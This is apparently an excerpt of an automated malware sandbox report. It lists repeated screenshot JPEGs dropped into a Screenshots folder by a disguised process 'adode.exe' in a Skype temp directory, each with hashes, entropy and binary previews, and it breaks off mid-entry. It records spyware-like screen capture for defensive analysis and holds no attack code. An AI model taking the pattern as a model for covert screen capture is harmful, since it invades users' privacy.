Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240715_031547.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240715_095652.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240715_145345.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240715_202239.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151964
Entropy (8bit):	7.9272203420957
Encrypted:	false
SSDEEP:	3072:VF5ercog4/zWShivjSry3V26QUH4Bor9c0mTCY5Y2wNDahRGC+jkf:VFocogdSUvjSa2PwmTCYoDORGCokf
MD5:	8B09F105022DFB3A3B82193D2029D8E7
SHA1:	5910EC9CE83D92242E8B30DC6CAC1C51A78BFD69
SHA-256:	D54AB6BC39F49F9871104CEC4A16356ABDD771F42EBF72C50F0079C2DBAEA1CF
SHA-512:	5589084DBAA4D506D4DE7D4E94099AE4A94091D6F1CEB3B2C7F2303319D26F7A210618A2F3905DD8A9B917CE12239C1E3D5D15EFB72BD63B0AF4028BFCD15BDD
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240717_010253.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240717_064828.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240719_162654.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240720_001528.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240720_073334.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144529
Entropy (8bit):	7.930354897497453
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoqmoSk:WpgzOCtbRJPBBcFJRXOMvoSk
MD5:	557B8BFD6CACB6145B6A9751B6389F2A
SHA1:	401E67832F707BA6BC86FCD3C4D101D53E7114FE
SHA-256:	F29EEA0B30D595DCEEAA8FAB558B0D97CB831ED157750E7ED73FC68F5B0CCB2B
SHA-512:	9226EF1484B8D779BE4BD5B1D41C513895D2ECA5D9855F459D531608AA5623B188E555569AEEF6E8EFDA49E3B7A9AE60F33B3E9F12108C8CB0EB9B349C9FCDAE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240724_192140.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240725_051855.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240725_104436.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240725_161112.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	152803
Entropy (8bit):	7.925248634489261
Encrypted:	false
SSDEEP:	3072:Sil1XJ+TFruwZj65DvLhtgy9Iwj/V7HsUOFUyavFsYBF5moL:7HM9tZj6BvNuHwpLyaG22oL
MD5:	FA60C9DC9C9B2747E6F9F3E1539B62E8
SHA1:	CF63A592C1F0870B53A8D5A35385AE4A5742BA90
SHA-256:	D6D066B6BC54940DAB4CB80451E2F56C99F30D611160674B3B5D9FD24CCCB5C3
SHA-512:	787D27E5546DB5B992526067E2D2041635A95BF201274F0D9B54AD12E4ECB19B655C88845452E0E18D88AF319D8147C23463E209B13B16D3EEEDCF5135A1FB2B
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240726_002733.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240726_054026.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240726_115513.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
SHA-512:	47239BF821FCB8F99BBE36CC6D3048895D9F8295FA75F9F2B4A1A1EC1F1FF2F86338308F8C79CB731F23D634E8E435FB1AC1962E6FCD41E163159FE15BB75A53
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240726_182344.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144500
Entropy (8bit):	7.93058202098242
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aoybd8:WpgzOCtbRJPBBcFJRXOMye
MD5:	6C8249FBA957D441F6FC9AD3185B5F7A
SHA1:	AC4D5620BEB6A686CB8CA95E484E3CFB61935A11
SHA-256:	C08B4CFE6E2A8F3B20F40067C66B4676BB13B1350D9E2ED0D1D37880630788AC
